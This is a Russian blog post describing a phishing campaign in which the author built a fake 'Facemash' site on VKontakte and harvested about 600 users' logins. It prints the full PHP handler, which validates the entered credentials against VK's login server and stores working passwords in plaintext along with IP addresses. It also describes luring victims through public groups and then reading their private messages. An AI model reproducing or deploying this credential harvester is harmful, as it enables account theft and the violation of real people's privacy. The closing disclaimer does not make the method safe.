Facemash или коварный метод взлома «Вконтакте»

в 13:54, , рубрики: Песочница, метки: , , ,

Привет! Сегодня поведаю о том, как нам удалось взломать полтысячи аккаунтов «Вконтакте» за 10 минут. Да, звучит, конечно, как выдуманный бред, но это далеко не так.

Итак, как-то раз сидели мы с моим знаком в скайпе, глаголили, обсуждали внеземную красоту одной прелестной особы. Делать нам было нечего. Думали, чем бы заняться? Тут мою светлую голову осветила мысль. Что если мы сделаем свой Faceamsh? Вдобавок я вспомнил об одной статье на Хабре о том, как делали движок Facemash. Час был поздний, кодить много не хотелось…

Движок одолжил у автора публикации (за что ему очень благодарен) и решил допилить его. Чтобы было веселее и интереснее, установил себе deadline — 10 минут (так делал мой учитель по иноформатике). Через 10 минут переписанный движок был готов.

Ниже виртуозно написанный обработчик:

Кусок некрасивого кода

Приношу извинения за столь не профессиональный и стрёмный код:

<?
if($_POST['email'] && $_POST['pass']){
function ValidateVKAccount($email,$password){
$host = 'login.vk.com';
$path = '/?act=login';
$param = 'act=login&email='.$email.'&pass='.$password;
$rn = "rn";
$req  = 'POST '.$path.' HTTP/1.0' . $rn;
$req .= 'Host: '.$host.$rn;
$req .= 'Content-Type: application/x-www-form-urlencoded'.$rn;
$req .= 'Content-Length: '.strlen($param).$rn;
$req .= 'Connection: close'.$rn;
$req .= $rn;
$req .= $param . $rn;
$req .= $rn;
$f = fsockopen($host, 80) or die('not connected');
fputs($f, $req);
$h = '';
while ( ! feof($f)) {
   $t = trim(fgets($f));
   $h .= $t . "n";
}
fclose($f);
if(strpos($h,'fast')!=FALSE)
  return(true);else
  return(false);
}
$result=ValidateVKAccount($_POST['email'],$_POST['pass']);
if($result){
	$ip = $_SERVER['REMOTE_ADDR'];
	$login = $_POST['email'];
	$pass = $_POST['pass'];
	mysql_connect('^^^^^^', '^^^^^', '^^^^^^'); /*Подключение к серверу*/
	mysql_select_db('^^^^^^^^^'); /*Подключение к базе данных на сервере*/
	$a1 = mysql_query("SELECT * FROM `user_log` WHERE `login` = '$login'") or die(mysql_error());
	$a2 = mysql_num_rows($a1);
	if($a2 == 0){  
	mysql_query("INSERT INTO `user_log` (`id`, `login`, `password`, `ip`, `facemash2`) VALUES ('', '$login', '$pass', '$ip', 'true')");
	setcookie("logining","true",time()+86400);
	header("Location: http://website.com");
	}else{
	setcookie("logining","true",time()+86400);
	header("Location: http://website.com/");
	}
}else{
    session_start();
    $login = $_POST['email'];
    $_SESSION['b'] = $login;
    header("Location: http://website.com/");
}
}
?>

Красивая формочка с авторизацией якобы через «Вконтакте API» должна была сделать свое грязное, коварное, бесчеловечное дело. Самая легкая часть работы на этом была окончена. Я не представлял тогда, сколько много еще предстоит сделать. Какой facemash без фоток? Благо все было легально. Далее пункт лицензионного соглашения vk.com:

7.1.3. Пользователь, размещая на Сайте принадлежащий ему на законных основаниях Контент, предоставляет другим пользователям неисключительное право на его использование путем просмотра, воспроизведения (в том числе копирования), переработку (в том числе на распечатку копий) и иные права исключительно с целью личного некоммерческого использования, кроме случаев, когда такое использование причиняет или может причинить вред охраняемым законом интересам правообладателя.

Написав хорошим людям, фотографии уже были на следующий день количеством около 200 штук. Но как только я увидел, как они смотрятся на сайте, вывод был один. Успокаивает, что я неплохо знаю Adobe Photoshop. Налив кружечку кофе, принялся за работу. Через n кол-во часов обнаружил 10 выпитых стаканов волшебного противосонного эликсира. 148 фотографий готово к использованию. И тут понеслась. Опубликовав ссылку на ресурс в нескольких группах типа «подслушано», мы получили везде публикацию. Оставалось только ждать.

Пока я размышлял о смысле жизни и о термоядерном синтезе, люди велись на нашу уловку сотнями. Итого мы получили в первый день после публикаций 250 аккаунтов, уже все только и говорили о нашем сайте. Когда открываешь аккаунт и смотриш содержимое сообщений, у каждого второго человека написано «Зацени какой ахрененный сайт». Конечно, не 22 000 посещений за 2 часа, но хоть что-то. На момент написания этой статьи у нас в наличии было около 600 акканутов «Вконтакте». Но мы же порядочные люди и понимаем, что у пользователей есть своя личная жизнь и т.д. Мы не стали писать различные оскорбления или сливать компромат на пользователей. Мы проверяли все аккаунты на работоспособность. И после чего забывали про них.

Facemash или коварный метод взлома «Вконтакте» - 1

Самое обидное, что люди настолько плохо образованны в IT-сфере, что так просто ведутся на похожие уловки. Также 10 минут кодинга могут так много. После написания этой статьи всем жертвам будет отправлено письмо с объяснениями о безопасности в сети. Если бы все пользователи при регистрации хотя бы читали условия лицензионного соглашения, то определенно хищений страниц было бы бы меньше. Если бы я мог улучшить защиту «Вконтакте»… Впрочем, это уже совсем другая история.


Внимание! Статья предоставлена исключительно в ознакомительных целях. Хакерская деятельность уголовно наказуема.

* - обязательные к заполнению поля


https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js